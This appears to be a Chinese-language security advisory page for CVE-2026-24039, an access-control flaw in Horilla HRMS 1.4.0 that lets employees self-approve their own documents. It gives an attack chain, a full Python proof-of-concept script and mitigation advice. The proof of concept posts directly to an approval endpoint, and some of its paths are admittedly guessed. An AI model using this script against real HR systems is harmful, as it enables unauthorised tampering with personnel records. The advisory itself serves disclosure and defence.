IPBUF安全漏洞报告
English
CVE-2026-24039 CVSS 4.3 中危

CVE-2026-24039: Horilla HRMS 1.4.0 不正确访问控制漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24039
漏洞类型
不正确的访问控制
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Horilla HRMS

相关标签

CVE-2026-24039不正确的访问控制Improper Access ControlHorilla HRMS人力资源管理系统权限绕过文档审批IDOR水平权限提升中危漏洞

漏洞概述

CVE-2026-24039是Horilla人力资源管理系统(HRMS)1.4.0版本中的一个不正确访问控制(Improper Access Control)漏洞。该漏洞允许低权限员工用户自我批准其上传的文档,而该操作本应仅限管理员或高权限角色执行。漏洞根源在于文档审批端点缺少充分的服务端授权检查,导致标准员工可以修改自己上传文档的审批状态。成功利用此漏洞可允许仅具有员工级权限的用户更改本应保留给管理员的应用程序状态,破坏了HR流程的完整性,例如凭证、认证或支持材料的接受流程,并可能使未经审查的文档被提交。该漏洞已在1.5.0版本中修复。

技术细节

Horilla HRMS 1.4.0版本的文档审批功能存在访问控制缺陷。系统设计要求文档审批UI仅对管理员或高权限角色开放,但实际实现中,审批端点未执行充分的服务端授权验证。攻击者(拥有标准员工账户)可以绕过前端访问控制限制,直接调用后端审批API接口修改文档审批状态。具体而言,系统仅验证用户是否上传了文档,而未验证用户是否具有审批权限。由于审批端点缺少权限检查逻辑,低权限用户可以通过构造特定的HTTP请求来更改文档的approval_status字段,从而实现自我批准文档的操作。这种访问控制缺陷使得攻击者能够在未经授权的情况下修改应用程序状态,破坏HR流程的完整性和可信度。

攻击链分析

STEP 1
步骤1
攻击者使用低权限员工账户登录Horilla HRMS系统,获取有效的会话令牌和CSRF token
STEP 2
步骤2
攻击者通过文档上传接口上传需要审批的文档(如凭证、认证材料等),系统返回文档ID
STEP 3
步骤3
攻击者识别文档审批API端点(通常为/api/document/{id}/approve/或类似路径),该端点缺少服务端权限验证
STEP 4
步骤4
攻击者直接向审批端点发送POST请求,修改文档的approval_status为approved,绕过前端访问控制限制
STEP 5
步骤5
系统处理请求并更新文档状态为已批准,由于缺少服务端授权检查,操作成功执行
STEP 6
步骤6
低权限员工成功自我批准文档,破坏HR流程完整性,未经审查的文档被标记为合规

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-24039 PoC - Horilla HRMS 1.4.0 Improper Access Control # Description: Low-privileged employee can self-approve documents they uploaded TARGET_URL = "http://target-horilla.com" USERNAME = "employee_user" PASSWORD = "employee_password" def get_auth_token(): """Authenticate and get session token""" session = requests.Session() login_url = f"{TARGET_URL}/accounts/login/" # Get CSRF token first response = session.get(login_url) csrf_token = session.cookies.get('csrftoken') # Login with employee credentials login_data = { 'username': USERNAME, 'password': PASSWORD, 'csrfmiddlewaretoken': csrf_token } response = session.post(login_url, data=login_data) return session def upload_document(session): """Upload a document and get document ID""" upload_url = f"{TARGET_URL}/payroll/document/" # Prepare document file files = { 'document': ('test_doc.pdf', b'%PDF-1.4 fake document', 'application/pdf') } data = { 'title': 'Test Document', 'description': 'Document for approval test' } response = session.post(upload_url, files=files, data=data) # Extract document ID from response # Adjust parsing based on actual response format doc_id = response.json().get('id') if response.ok else None return doc_id def approve_document(session, doc_id): """Exploit: Self-approve uploaded document without admin privileges""" # Vulnerable endpoint - missing authorization check approve_url = f"{TARGET_URL}/payroll/document/{doc_id}/approve/" payload = { 'approval_status': 'approved', 'approved_by': 'current_user' } # This request succeeds due to missing server-side authorization response = session.post(approve_url, json=payload) if response.status_code == 200: print(f"[+] SUCCESS: Document {doc_id} approved by low-privilege user!") print(f"[+] This demonstrates improper access control vulnerability") return True else: print(f"[-] FAILED: Status code {response.status_code}") return False def main(): print("[*] CVE-2026-24039 PoC - Horilla HRMS Improper Access Control") print("[*] Target: Document self-approval by low-privilege users\n") # Step 1: Authenticate as low-privilege employee session = get_auth_token() print("[*] Logged in as employee user") # Step 2: Upload a document doc_id = upload_document(session) if not doc_id: print("[-] Failed to upload document") return print(f"[*] Uploaded document with ID: {doc_id}") # Step 3: Exploit - Self-approve the document approve_document(session, doc_id) print("\n[*] Exploitation complete") if __name__ == "__main__": main()

影响范围

Horilla HRMS < 1.5.0
Horilla HRMS 1.4.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用文档审批功能或将其限制为仅管理员可访问;2)配置Web应用防火墙(WAF)规则,限制对文档审批端点的访问,仅允许来自管理员IP地址的请求;3)实施额外的应用层访问控制检查,在业务逻辑层验证用户权限;4)启用详细的审计日志,监控文档审批操作的异常行为;5)限制低权限用户的上传功能或对上传内容实施更严格的审查流程。建议尽快升级到1.5.0版本以获得完整的安全修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表